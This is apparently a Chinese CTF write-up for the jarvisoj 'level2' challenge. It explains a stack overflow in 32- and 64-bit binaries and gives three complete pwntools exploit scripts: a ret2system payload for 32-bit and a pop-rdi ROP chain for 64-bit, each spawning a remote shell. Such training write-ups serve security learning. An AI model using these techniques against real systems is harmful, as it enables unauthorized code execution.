PWN

PWN|level2 x86 and x64 jarvisoj

利用代码段中的字符串和函数构造 shell

Posted by Elli0t on 2020-04-19

32

32位程序,没开 PIE 和 canary 防护,可以栈溢出,程序的代码段和数据段地址是不会变的

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

system("echo Input:");
return read(0, &buf, 0x100u);
}

程序本身调用了system函数,那么PLT表里就一定有这个函数
很显然栈溢出
IDA 里面 shift+F12 查找字符串发现 /bin/sh 字符串,而且在程序的 data 段。由于没有开启PIE,那么这个字符串的首地址是不会变的。

查找发现首地址是 0x0804A024
用上一篇文章的方法算一下,溢出点偏移是 140
所以 exp :

这个是用ELF模块的:

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level = 'debug'
elf = ELF('./level2') #使用 pwntools 的 ELF 模块可以搜索函数和字符串
sh = remote('pwn2.jarvisoj.com',9878)
sh.recvuntil("Input:\n") #注意反斜杠方向
system_addr = elf.symbols['system'] #搜索函数不用 next
bin_addr = next(elf.search('/bin/sh')) #搜索字符串就是要 next
payload = 'a'*140 + p32(system_addr) + p32(0x1) + p32(bin_addr) #0x1是返回地址,可以随便写
sh.send(payload)
sh.interactive()

这个是自己找地址的写法,也可以向上面一样直接用pwntools的ELF模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*

elf=ELF("level2")

a=remote("pwn2.jarvisoj.com","9878")

a.recvuntil("Input:\n")

#system_addr=elf.symbols["system"]

#shell_addr=next(elf.search("/bin/sh"))

payload='A'*140+p32(0x08048320)+p32(0x1)+p32(0x0804A024)

a.send(payload)

a.interactive()

64

不一样的是传参不同了
在32位程序运行中,函数参数直接压入栈中
调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1
在64位程序运行中,参数传递需要寄存器
64位参数传递约定:前六个参数按顺序存储在寄存器 rdi, rsi, rdx, rcx, r8, r9 中
参数超过六个时,从第七个开始压入栈中

和32位level2程序逻辑基本一致
只要在调用system函数传递参数“/bin/sh”时,将其传入寄存器 rdi 即可。
可以使用 ROPgadget 搜索我们需要的rop链
ROPgadget 可以在程序的汇编代码中寻找字符串或命令

偏移136是如何计算的?
👴思考了半天,有点怀疑人生了。最后还是屈服于自动计算的工具 pattern ,在 gdb-peda 中给自动算了一下
pattern 300
x $rsp
pattern offset AAQAAmAA

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

context.terminal=["tmux","sp","-h"]
context.log_level='debug'

DEBUG = 0
LOCAL = True
BIN = './level2_x64'
HOST = 'pwn2.jarvisoj.com'
PORT = 9882

def exploit(sh):
system_addr = elf.symbols['system']
bin_addr = elf.search('/bin/sh').next()
# bin_addr = 0x600a90
pop_addr = 0x4006b3
payload = 136*'a' + p64(pop_addr) + p64(bin_addr) + p64(system_addr)
sh.recvuntil('Input:\n')
sh.sendline(payload)
sh.interactive()
return

if __name__ == '__main__':
elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
sh = remote(HOST,PORT)
exploit(sh)
else:
LOCAL = True
sh = process(BIN)
log.info('PID: ' + str(proc.pidof(sh)[0]))
# pause
if DEBUG:
gdb.attach(sh)
exploit(sh)